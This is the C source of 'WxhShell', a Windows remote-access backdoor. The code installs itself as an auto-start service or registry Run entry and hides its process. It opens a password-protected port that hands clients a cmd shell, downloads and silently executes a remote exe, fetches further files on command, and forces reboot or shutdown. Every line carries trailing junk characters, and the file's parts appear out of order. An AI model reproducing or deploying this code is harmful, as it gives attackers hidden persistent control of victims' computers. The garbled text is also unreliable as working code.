    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M+R)P +  
    if(Boot(SHUTDOWN)) j.'"CU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \`p~b(  
    else { cJWfLD>2_!  
    closesocket(wsh); .iN*V|n  
    ExitThread(0); wAOVH].  
    } nM.?Q}yO~  
    break; Nj-rZ%&  
    } c.{&~  
  // 获取shell h. (;GJO  
  case 's': { cD`O+WA2K  
    CmdShell(wsh); $t H.np  
    closesocket(wsh); B?ob{K@  
    ExitThread(0); >'TD?@sr  
    break; 4d._Hd='  
  }   6[|<  
  // 退出 "QFADk1  
  case 'x': { AB &wn>q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;{q) |GRF  
    CloseIt(wsh); q>:&xR"ra  
    break; Ee\-q  
    } )4_6\VaM  
  // 离开 .yfqS|(  
  case 'q': { w$;*~Qc  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); r=H\4%P4  
    closesocket(wsh); 2au(8IWu  
    WSACleanup(); m3xj5]#^$  
    exit(1); $0S"Lh{  
    break; j _9<=Vu  
        } >.wd)  
  } #M^Yh?~%w  
  } ;6 qdOD6  
*;yMD-=  
  // 提示信息 o4 g  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Nl<,rD+KSD  
} ^}7t:  
  } 7RFkHME  
IS 9q 5/]  
  return; p>tdJjnt  
} ;q&D,4r]  
$F()`L{Tj  
// shell模块句柄 9egaN_K  
int CmdShell(SOCKET sock) /^eemx  
{ 0#/ 6P&6  
STARTUPINFO si; $z,DcO.vz  
ZeroMemory(&si,sizeof(si)); VrE5^\k<a  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1LIV/l^}f  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ftH%, /,  
PROCESS_INFORMATION ProcessInfo; v_h*:c  
char cmdline[]="cmd"; :;WDPRx  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Eg29|)qsz  
  return 0; :aqskeT  
} wVJFA1  
Ahbu >LPk  
// 自身启动模式 X|1YGZJ  
int StartFromService(void) Ry S{@=si  
{ @d^h/w  
typedef struct gI5nWEM0{  
{ Q!e0Vb  
  DWORD ExitStatus; 7-IeJ6,D  
  DWORD PebBaseAddress; |< FCt-U  
  DWORD AffinityMask; "jc)N46  
  DWORD BasePriority; LbbQ3$@ WD  
  ULONG UniqueProcessId; {bW3%iU  
  ULONG InheritedFromUniqueProcessId; Dj. +5f'  
}   PROCESS_BASIC_INFORMATION; "s<l Lgi  
b{>dOI*.}  
PROCNTQSIP NtQueryInformationProcess; GFa/9Bi  
KmOa^vY1.T  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; be%*0lr  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; VX[!Vh  
X@q1;J  
  HANDLE             hProcess; Lbp6I0&n  
  PROCESS_BASIC_INFORMATION pbi; k[)@I;m  
E(LE*J  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Vot+gCZ  
  if(NULL == hInst ) return 0; !D&MJThNy  
kD7(}N8YR  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ld?.o/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -fgKSJ7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }z-  
BIf].RY  
  if (!NtQueryInformationProcess) return 0; j$oZIV7  
emPm^M5/K  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7O^ S.(  
  if(!hProcess) return 0; Bic { H  
8vW`E_n  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0%NI- Zyo  
VDY1F_Fk  
  CloseHandle(hProcess); )_K@?rWS  
!QS<;)N@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); '\\Cpc_g  
if(hProcess==NULL) return 0;  PuCA @qY  
4F6o  
HMODULE hMod; /-4B)mL  
char procName[255]; %\&dFwb  
unsigned long cbNeeded; wx5*!^&j  
Wj=ex3K3u.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); rXPx* /C  
VVl-cU  
  CloseHandle(hProcess); NWK_(=n  
,x.)L=Cx8  
if(strstr(procName,"services")) return 1; // 以服务启动 g^UWf<xp  
S]=Vr%irX  
  return 0; // 注册表启动 NYvj?>[y  
} 82!GM.b  
):ZumG#o  
// 主模块 H5 hUY'O  
int StartWxhshell(LPSTR lpCmdLine) Z@/5~p  
{ !r0P\  
  SOCKET wsl; zRFM/IYC  
BOOL val=TRUE; &:K?-ac  
  int port=0; V <pjR@  
  struct sockaddr_in door; pPp nO  
Lta\AN!c  
  if(wscfg.ws_autoins) Install(); -V/i%_+Ze  
S\!E;p  
port=atoi(lpCmdLine); z1s"C[W2T  
D+""o"%  
if(port<=0) port=wscfg.ws_port; jloyJ@ck  
M[_I16s  
  WSADATA data; |R/50axI  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; AB\4+ CLV  
n5>N9lc  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ZS_f',kE  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {hR2NUm  
  door.sin_family = AF_INET; lXKZNCL  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #K w\r50  
  door.sin_port = htons(port); V7_??L%Ct`  
/z:K#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { kq0m^`  
closesocket(wsl); %WN2 xCSf  
return 1; c%.& F  
} nB0 ol-<  
'Sh5W%NM  
  if(listen(wsl,2) == INVALID_SOCKET) { We?:DM [  
closesocket(wsl); G3?z.5 ,Q  
return 1; #sZes  
} oyw1N;K  
  Wxhshell(wsl); .y+U7 "?s*  
  WSACleanup(); ),,vu  
5-^twXC&  
return 0; +KNr1rG  
 c @fc7  
} j]&{ @Y  
G].KJ5,y  
// 以NT服务方式启动 vrbh+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) e*H$c?7NL  
{ Din)5CxFX  
DWORD   status = 0; _AYF'o-Cm  
  DWORD   specificError = 0xfffffff; 'DQyB`V2y  
pASVnXJZ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9To6Rc;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "QS7?=>*F  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ||aU>Wj4  
  serviceStatus.dwWin32ExitCode     = 0; )zo ;r!eP  
  serviceStatus.dwServiceSpecificExitCode = 0; '%N)(S`O7P  
  serviceStatus.dwCheckPoint       = 0; Q>$L;1E*,  
  serviceStatus.dwWaitHint       = 0; 9l]IE,u  
3(5Y-.aK}^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9<S-b |!@  
  if (hServiceStatusHandle==0) return; D9 en  
mM.&c5U  
status = GetLastError(); 9G~P)Z!0  
  if (status!=NO_ERROR) [dMxr9M  
{ ]XU#i#;c  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (xL=X%6a  
    serviceStatus.dwCheckPoint       = 0; N{g=Pf?I}  
    serviceStatus.dwWaitHint       = 0; n TG|Isa  
    serviceStatus.dwWin32ExitCode     = status; =C|^C  
    serviceStatus.dwServiceSpecificExitCode = specificError; J~.kb k  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); qa6~N3*  
    return; pdSyx>rJ  
  } *gVv74;;  
ez{&Y>n  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6bba}P  
  serviceStatus.dwCheckPoint       = 0; LKcrr;  
  serviceStatus.dwWaitHint       = 0; @HI5; z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }R$%MU5::  
} plfB} p  
NO ^(D+9  
// 处理NT服务事件,比如:启动、停止 QUf_fe!,|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) gp=0;#4 4  
{ o1\8>Ew  
switch(fdwControl) *OiHrI9y  
{ 0 i"OG( ,  
case SERVICE_CONTROL_STOP: Xl;N= fc  
  serviceStatus.dwWin32ExitCode = 0; ?*,q#ZkA9W  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^MUM04l  
  serviceStatus.dwCheckPoint   = 0; :%{7Q$Xv<  
  serviceStatus.dwWaitHint     = 0; Kl?1)u3^4  
  { ikQ2x]Sp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rNc>1}DDS  
  } 2lRZ/xaF%P  
  return; iQF93:#  
case SERVICE_CONTROL_PAUSE: 9[M u   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; jLTs1`I/F  
  break; ?3#X5WT  
case SERVICE_CONTROL_CONTINUE: srL,9)O C  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; xh0!H| R  
  break; uypD`%pC  
case SERVICE_CONTROL_INTERROGATE: LKa_ofY  
  break; P6Ei!t,>  
}; TL>e[ PBO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _qV_(TpS+  
} V QI7lJV"  
Dg`W{oj  
// 标准应用程序主函数 Cb.Aw!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) fJuJ#MX{:  
{ JFfx9%Fq  
R<-KXT9  
// 获取操作系统版本 h.nzkp5  
OsIsNt=GetOsVer(); !?{5ET,gtN  
GetModuleFileName(NULL,ExeFile,MAX_PATH); I8y\D,  
\GWC5R7Q0j  
  // 从命令行安装 +\4=G@P.J  
  if(strpbrk(lpCmdLine,"iI")) Install(); DcS~@ ;  
Yh=Zn[ U  
  // 下载执行文件 \T0`GpE  
if(wscfg.ws_downexe) { X`&E,;bIb  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) eW/Hn  
  WinExec(wscfg.ws_filenam,SW_HIDE); Eq t61O$x  
} dSbV{*B;>  
-t]0DsPg  
if(!OsIsNt) { i|*:gH  
// 如果时win9x,隐藏进程并且设置为注册表启动 OR3TRa XD  
HideProc(); A.n1|Q#  
StartWxhshell(lpCmdLine); RW 5T}  
} a^BD55d?  
else T~la,>p|}  
  if(StartFromService()) c}A^0,"z>  
  // 以服务方式启动 AOpfByw  
  StartServiceCtrlDispatcher(DispatchTable); fOfp.`n  
else FwyPmtBj  
  // 普通方式启动 ]l`DR4 =  
  StartWxhshell(lpCmdLine); 2bqwnRT}  
VrpY BU  
return 0; BtspnVB ez  
} q6q= ,<T%S  
7 UR)4dYA  
@:}z\qBM  
piU4%EO  
=========================================== ,M9'S;&^  
I/'>Bn+  
. @.CQB=E  
0/c4%+ Ln  
F XbNmBXF  
 m{~r6@  
" YV+e];s  
B6BOy~B0  
#include <stdio.h> QFMS]  
#include <string.h> Z EW`?6  
#include <windows.h> K|iNEhuc  
#include <winsock2.h> rS=6d6@  
#include <winsvc.h> B$)KZR(u  
#include <urlmon.h> `+U-oqs  
Ab2VF;z :  
#pragma comment (lib, "Ws2_32.lib") 1!~9%=%  
#pragma comment (lib, "urlmon.lib") |nD`0Rbw  
IySlu^a  
#define MAX_USER   100 // 最大客户端连接数 =uHTpHR  
#define BUF_SOCK   200 // sock buffer Xr@0RFdr[  
#define KEY_BUFF   255 // 输入 buffer d%WFgf}  
>6Q-e$GS@  
#define REBOOT     0   // 重启 \o/oM,u  
#define SHUTDOWN   1   // 关机 PWTAy\  
#N*~Q  
#define DEF_PORT   5000 // 监听端口 nv|&|6?`oK  
$lvpBs  
#define REG_LEN     16   // 注册表键长度 ~`y6YIJ3  
#define SVC_LEN     80   // NT服务名长度 B|!Re4`0  
d6u L;eR  
// 从dll定义API )9}z^+TH  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }RXm=ArN  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); dme_Ivt  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _]B'C  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5'X.Z:  
rKO[;]_*  
// wxhshell配置信息 ur;8uv2o  
struct WSCFG { &Oe,$%{hBh  
  int ws_port;         // 监听端口 1&U U6|X  
  char ws_passstr[REG_LEN]; // 口令 VQ +Xh  
  int ws_autoins;       // 安装标记, 1=yes 0=no +ft?aB@  
  char ws_regname[REG_LEN]; // 注册表键名 `Do-!G+W  
  char ws_svcname[REG_LEN]; // 服务名 d35,[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |',Gy\Sj  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 B7cXbUAQs  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 By" =]|Q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }_K7}] 1  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" JD.WH|sZ5  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Kpg]b"9.R  
|@Bl?Bs+  
}; (%tKGeb  
t'^/}=c-  
// default Wxhshell configuration  1D6iJ  
struct WSCFG wscfg={DEF_PORT, u\50,N9Wp{  
    "xuhuanlingzhe", =YR/|9(  
    1, 9\V^q9l  
    "Wxhshell", 1%H]2@  
    "Wxhshell", b*7OIN5h  
            "WxhShell Service", =^NR(:SaaU  
    "Wrsky Windows CmdShell Service", M5wj79'l"  
    "Please Input Your Password: ", O0e6I&u :  
  1, SwLul4V  
  "http://www.wrsky.com/wxhshell.exe", h&&ufF]D  
  "Wxhshell.exe" $Die~rPU  
    }; O.}{s;  
d&F8nBIM5  
// 消息定义模块 ~i(X{ ^,3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~qs 97'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4\>Cnc{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; O",:0<  
char *msg_ws_ext="\n\rExit."; M*|x,K=U  
char *msg_ws_end="\n\rQuit."; WJ8i,7  
char *msg_ws_boot="\n\rReboot..."; VGkwrS;+I  
char *msg_ws_poff="\n\rShutdown..."; t=5 K#SX}  
char *msg_ws_down="\n\rSave to "; K^EW*6vB8O  
Ao(Xz$cQfW  
char *msg_ws_err="\n\rErr!"; YHl6M&*@  
char *msg_ws_ok="\n\rOK!"; IF<pT)  
awGI|d  
char ExeFile[MAX_PATH]; tQF,E&Jo8  
int nUser = 0; }PD? x4  
HANDLE handles[MAX_USER]; h>9GfF3  
int OsIsNt; }5\F<b^@Y  
(z#qkKL{^  
SERVICE_STATUS       serviceStatus; y^?7de}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Z%k)'%_   
)bXiw3'A  
// 函数声明 fQM:NI? 9?  
int Install(void); '`I&g8I\  
int Uninstall(void); -b8Vz}Y  
int DownloadFile(char *sURL, SOCKET wsh); ckS.j)@.c  
int Boot(int flag); -m3 O\X  
void HideProc(void); o/ ozX4C  
int GetOsVer(void); s7[du_)  
int Wxhshell(SOCKET wsl); GG-7YJ  
void TalkWithClient(void *cs); Ru `&>E  
int CmdShell(SOCKET sock); >:WnCkbp  
int StartFromService(void); |\Nu+w   
int StartWxhshell(LPSTR lpCmdLine); !ffdeWHR  
rLtB^?A z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,E<(K8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); R_`i=>Z-  
:2vk vLM  
// 数据结构和表定义 zuwlVn  
SERVICE_TABLE_ENTRY DispatchTable[] = F|Pf-.r`t  
{ akoK4!z  
{wscfg.ws_svcname, NTServiceMain}, [LbUlNq^B@  
{NULL, NULL} |wZcVct~  
}; Kf/1;:^  
FWNWOU  
// 自我安装 07`hQn)Gc  
int Install(void) &Ba` 3V\M  
{ f%<kcM2  
  char svExeFile[MAX_PATH]; PRg^E4  
  HKEY key; rOHU)2  
  strcpy(svExeFile,ExeFile); J'jwRn  
BIqZg$  
// 如果是win9x系统,修改注册表设为自启动 TCWy^8LA  
if(!OsIsNt) { F jsnFX;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tJ;<=.n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WBvh<wTw;  
  RegCloseKey(key); yPs4S?<s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -PPH]?],  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c6VfFt6p  
  RegCloseKey(key); V(u#8M  
  return 0; *:L-/Q)i  
    } Q]?r&%Y  
  } ;6P #V`u  
} ,T& =*q  
else { O eLM*Zi  
d^p af  
// 如果是NT以上系统,安装为系统服务 o."k7fLB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 845a%A$  
if (schSCManager!=0) w/ &)mm{  
{ dNK Q&TC  
  SC_HANDLE schService = CreateService Y>W$n9d&G2  
  ( o}O"  
  schSCManager, oe$&X&  
  wscfg.ws_svcname, FOz~iS\  
  wscfg.ws_svcdisp, ;aXu  
  SERVICE_ALL_ACCESS, $=3&qg"!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7/C,<$Ep  
  SERVICE_AUTO_START, /Y| y0iK  
  SERVICE_ERROR_NORMAL, lOB*M!8   
  svExeFile, ,41Z_h  
  NULL, "x~VXU%xU  
  NULL, >v--R8I*  
  NULL, $v5)d J  
  NULL, @/jLN  
  NULL nIc:<w]  
  ); X)6}<A  
  if (schService!=0) '9d<vW g  
  { D_kz'0^|  
  CloseServiceHandle(schService); ML eo3  
  CloseServiceHandle(schSCManager); g2)jd[GM  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); vz$-KT4e^  
  strcat(svExeFile,wscfg.ws_svcname); YvA@I|..~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { k%2woHSu&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); l}w9c`f  
  RegCloseKey(key); RgTm^?Ex  
  return 0; !A_<(M<  
    } Q5Yy \M  
  } !'m MGxkEb  
  CloseServiceHandle(schSCManager); SUGB)vEa  
} kHMD5Q  
} N!me:|Dn  
Fs+ CY  
return 1; uT1xvXfqP  
} /1D]\k()  
}MU}-6  
// 自我卸载 B:5NIa  
int Uninstall(void) QEtf-xNn^  
{ 5~8FZ-x  
  HKEY key; <=O/_Iu(  
sVzU>  
if(!OsIsNt) { MX*T.TG8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NWL\"xp `t  
  RegDeleteValue(key,wscfg.ws_regname); 4 H 4W  
  RegCloseKey(key); ''. P=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^ &UezDTS  
  RegDeleteValue(key,wscfg.ws_regname); M( eu wy  
  RegCloseKey(key); HgVPyo  
  return 0; 4DLp +6zP  
  } ui>0?O*G  
} (g(.gN]  
} A8|DB@ Bi  
else { X1wlOE  
s<#["K*_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Uw`YlUT\  
if (schSCManager!=0) J)kH$!csi  
{ yLFZo"r  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $RAS pM  
  if (schService!=0) $nf5bo/;  
  { g#W/WKvM  
  if(DeleteService(schService)!=0) { XEX ."y  
  CloseServiceHandle(schService); (v/mKGyg  
  CloseServiceHandle(schSCManager); yiT)m]E d  
  return 0; TK! D=M  
  } uGo tXb  
  CloseServiceHandle(schService); C4,;l^?=%  
  } 44r@8HO1  
  CloseServiceHandle(schSCManager); JyiP3whW  
} W'98ues%  
} WSi`KNX  
:NCY6? [Dz  
return 1; s8O.yL  
} OCX>LK!K  
J`I^F:y*  
// 从指定url下载文件 !Py SYY  
int DownloadFile(char *sURL, SOCKET wsh) bY@ S[  
{ ;~^9$Z@%Q  
  HRESULT hr; BI|BfO%F$j  
char seps[]= "/"; j:Y1  
char *token; dGc<{sQzB  
char *file; nuvRjd^N  
char myURL[MAX_PATH]; ^Fop/\E  
char myFILE[MAX_PATH]; GS*Mv{JJ  
,)svSzR  
strcpy(myURL,sURL); ]QqT.z%B  
  token=strtok(myURL,seps); __mnz``/Y  
  while(token!=NULL) .sqX>sU/]  
  { j]6c_r3  
    file=token; -O~ V4004  
  token=strtok(NULL,seps); _x'?igy  
  } U@'F9UB`  
3oo Tn-`{  
GetCurrentDirectory(MAX_PATH,myFILE); i!nPiac  
strcat(myFILE, "\\"); Le?yzf  
strcat(myFILE, file); SWq5=h  
  send(wsh,myFILE,strlen(myFILE),0); s.uw,x  
send(wsh,"...",3,0); bdxmJ9a:R  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); L/+KY_b:*  
  if(hr==S_OK) s7 K](T4  
return 0; q8=hUD%5C  
else #Rw9 Iy4  
return 1; ^.Xom~  
*LA2@9l  
} 'F .tOD  
@lO(QpdG  
// 系统电源模块 cUDo}Yu  
int Boot(int flag) rzk-_AFR  
{ {y\5 9  
  HANDLE hToken; _=g;K+%fb  
  TOKEN_PRIVILEGES tkp; yG/_k !{9  
,Oj 53w=  
  if(OsIsNt) { 2 D vKW%;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); '#*5jn]CqB  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8lJMD %Df:  
    tkp.PrivilegeCount = 1; )=9EShz!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; zZh\e,*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .ou#BWav/  
if(flag==REBOOT) { 0*4h}t9j  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) um5n3=K  
  return 0; l,w$!FnmR  
} 9$iDK$%  
else { $%GW~|S\C  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) G&DL)ePu]m  
  return 0; wF\5 X  
} QE\t}>  
  } } N$soaUs  
  else { j~#nJI5]  
if(flag==REBOOT) { YT@D*\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) m1\+~*i  
  return 0; ;Q{~jT  
} zEJZ,<  
else { FHv^^u'@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) P_y8[Y]?  
  return 0; "4Bk  
} s.{nxk.  
} ^ALR.N+<  
6~O9|s^38w  
return 1; /l.ox.4z#  
} x[m&ILr  
I}!Er V  
// win9x进程隐藏模块 qVe&nXo  
void HideProc(void) pf%B  
{ *y@Xm~ld  
sSdnH_;&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); c 0/vB  
  if ( hKernel != NULL ) A])+Pe  
  { (;(P3h  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); g=q1@)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  ]$=\zL  
    FreeLibrary(hKernel); gq`S`  
  } kaUEv\T   
&40# _>W7  
return; y$h.k"x`  
} #|ILeby  
R4 x!b`:i  
// 获取操作系统版本 !h[xeLlU  
int GetOsVer(void) a%igc^GS2  
{ VAL]\@Q}  
  OSVERSIONINFO winfo; Oh]RIWL  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); W_\~CntyZ  
  GetVersionEx(&winfo); M7x*LiKc2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) tUXly|k  
  return 1; Q.zE}ZS  
  else \(g/::|  
  return 0; +jifbf-  
} f*HEw  
'G>gNq  
// 客户端句柄模块 Rg,]d u u?  
int Wxhshell(SOCKET wsl) -,Y[`(q  
{ $bd tiD  
  SOCKET wsh; a|5^4 J \%  
  struct sockaddr_in client; >anq1Kf  
  DWORD myID; u.~`/O  
O S%  
  while(nUser<MAX_USER) {!]7=K)W9  
{ R8(Bt73  
  int nSize=sizeof(client); +"8-)'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); OMM5p=2Q  
  if(wsh==INVALID_SOCKET) return 1; >$ok3-tuU  
a*GiLq  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )h>H}wDs  
if(handles[nUser]==0) )i$:iI >k  
  closesocket(wsh); D$&LCW#x  
else /jB 0  
  nUser++; >r8$vQGj  
  } -]$=.0 l  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4n 9c  
qbZY[Q+F  
  return 0; :3h'Hr  
} ]\ DIJ>JZ  
M>m+VsJV  
// 关闭 socket fx#Krr @  
void CloseIt(SOCKET wsh) R&P}\cf8T  
{ "gQA|NHwV  
closesocket(wsh); +`_Km5=  
nUser--; 8F(Vd99I  
ExitThread(0);  >M-ZjT>  
} 8RE"xJMff  
Q(0eq_X|6  
// 客户端请求句柄 G1z0q3< B  
void TalkWithClient(void *cs) Qi?xx')  
{ %<?U`o@*  
.R! /?eN  
  SOCKET wsh=(SOCKET)cs; S)L(~ N1  
  char pwd[SVC_LEN];  L4 )  
  char cmd[KEY_BUFF]; 1nAAs;`'  
char chr[1]; 23_\UTM}1  
int i,j; Dc;zgLLL  
7 8n`VmH~L  
  while (nUser < MAX_USER) { l<"Z?z  
~IIlCmMl,  
if(wscfg.ws_passstr) { r{1xjAT  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Sb,lY<=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b xFDB^  
  //ZeroMemory(pwd,KEY_BUFF); PZB_6!}2[F  
      i=0; "(cMCBVYdA  
  while(i<SVC_LEN) { E3`&W8  
`k.Nphx~%  
  // 设置超时 Vh o3I[C  
  fd_set FdRead; n+qa/<  
  struct timeval TimeOut; _G1C5nkDl4  
  FD_ZERO(&FdRead); *\4u:1Cu  
  FD_SET(wsh,&FdRead); 2Ysl|xRo  
  TimeOut.tv_sec=8; ZBcT@hxm  
  TimeOut.tv_usec=0; \Ng|bWR>LQ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =, WW#tD  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _`LQnRp(  
tLc 9-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rV6SN.  
  pwd=chr[0]; blHJhB&8  
  if(chr[0]==0xd || chr[0]==0xa) { #OE]'k Ss  
  pwd=0; #\LsM ~,  
  break; rh+2 7"  
  } L,PD4H"8  
  i++; lemE/(`a_  
    } l$mfsm|{:  
SIr^\iiOB  
  // 如果是非法用户,关闭 socket B33H,e)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =Ti[Q5SZ  
} R[Y{pT,AY  
L-V+`![{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ZL{\M|@jz  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ujH ^ML  
,R8:Y*@P  
while(1) { 10`]&v]T  
>|!s7.H/J/  
  ZeroMemory(cmd,KEY_BUFF); .e|VW)  
F `cuV  
      // 自动支持客户端 telnet标准   W]l&mr  
  j=0; z&@O\>Q  
  while(j<KEY_BUFF) { "T0s7LWp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i{.%4tA4  
  cmd[j]=chr[0]; Qe,aIh  
  if(chr[0]==0xa || chr[0]==0xd) { 6'YsSde".  
  cmd[j]=0; $<QOMfY>  
  break; fAHf}j  
  } {T2=bK~  
  j++; hantGw |  
    } 0Xx&Z8E  
KM o]J1o  
  // 下载文件 kH9P(`;Vq  
  if(strstr(cmd,"http://")) { .*_uXQ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); B!X;T9^d  
  if(DownloadFile(cmd,wsh)) F\U^-/0,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2zQ62t}  
  else V\4zK$]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ` 0}z ;&:  
  } 6^vseVx  
  else { \u@*FTS  
-YD+x PD  
